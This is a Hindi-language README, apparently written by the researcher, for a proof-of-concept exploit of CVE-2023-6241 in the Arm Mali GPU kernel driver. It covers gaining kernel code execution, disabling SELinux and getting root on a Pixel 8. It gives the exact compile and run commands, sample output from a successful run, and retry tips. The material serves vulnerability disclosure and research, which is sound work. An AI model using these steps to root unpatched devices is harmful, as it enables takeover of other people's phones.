CVE-2023-6241

CVE-2023-6241 के लिए एक्सप्लॉइट (Exploit)

पूरा विवरण यहाँ पाया जा सकता है। यह Arm Mali कर्नेल ड्राइवर में एक बग है जिसे मैंने नवंबर 2023 में रिपोर्ट किया था। इस बग का उपयोग अविश्वसनीय (untrusted) ऐप डोमेन से मनमाना कर्नेल कोड निष्पादन (arbitrary kernel code execution) प्राप्त करने के लिए किया जा सकता है, जिसका उपयोग SELinux को अक्षम करने और रूट (root) प्राप्त करने के लिए किया जाता है।

यह एक्सप्लॉइट Google Pixel 8 पर नवंबर 2023 पैच (UD1A.231105.004) के साथ परीक्षण किया गया है। इसे OpenCL के साथ संकलित (compile) करने और OpenCL लाइब्रेरी libGLES_mali.so से लिंक करने की आवश्यकता है। यह लाइब्रेरी Pixel 8 डिवाइस में vendor/lib64/egl/libGLES_mali.so पर मिल सकती है और OpenCL हेडर फ़ाइलें KhronosGroup के OpenCL-headers रिपॉजिटरी में मिल सकती हैं। मैंने जिस विशिष्ट हेडर का उपयोग किया वह v2023.04.17 संस्करण था, हालांकि अन्य संस्करण भी काम करने चाहिए। संदर्भ के लिए, मैंने ndk-26 में clang के साथ संकलन करने के लिए निम्नलिखित कमांड का उपयोग किया:

android-ndk-r26b/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang -DSHELL -DCL_TARGET_OPENCL_VERSION=300 -I. -L. mali_jit_csf.c mem_read_write.c mempool_utils.c -lGLES_mali -o mali_jit_csf

एक्सप्लॉइट को libGLES_mali.so से लिंक करने की आवश्यकता है। यह LD_LIBRARY_PATH को /vendor/lib64/egl पर सेट करके किया जा सकता है। एक्सप्लॉइट शायद ही कभी विफल होता है और भले ही ऐसा हो, यह सामान्यतः सिस्टम को भ्रष्ट (corrupt) या क्रैश नहीं करता है। इसलिए यदि यह विफल हो जाए, तो इसे दोबारा चलाया जा सकता है। सफल होने पर, यह SELinux को अक्षम कर देगा और रूट प्राप्त कर लेगा।

shiba:/data/local/tmp $ LD_LIBRARY_PATH=/vendor/lib64/egl ./mali_jit_csf                                     
mali_fd 3
corrupted_jit_addr 6000001000
kernel success
kernel success
queue kernel
jit_grow addr 6000001000
Size after grow: 22f6
Final grow size: 23c7
keep alive jit_addr 60023d1000
Size after free: 21fd, trim_level 6
writing to gpu_va 6002301000
found reused page 5fffef6000, 0
pgd entry found at index 0 40000899bbc443
overwrite addr : 5ffff00b50 b50
overwrite addr : 5fffb00b50 b50
overwrite addr : 5fff900b50 b50
overwrite addr : 5ffff00714 714
overwrite addr : 5fffb00714 714
overwrite addr : 5fff900714 714
result 50
clean up

पहली बार चलाने पर, एक्सप्लॉइट कभी-कभी अंतिम overwrite addr संदेश प्रिंट करने के बाद रुक (stall) जाता है। यदि ऐसा होता है (10 सेकंड से अधिक रुकना, हालांकि कुछ सेकंड का ठहराव सामान्य है), तो बस एक्सप्लॉइट को मार (kill) कर दोबारा चलाएँ। दूसरी बार इसे रुकना नहीं चाहिए।

MTE सक्षम के साथ परीक्षण करने के लिए, कर्नेल MTE सक्षम करने हेतु इन निर्देशों का पालन करें।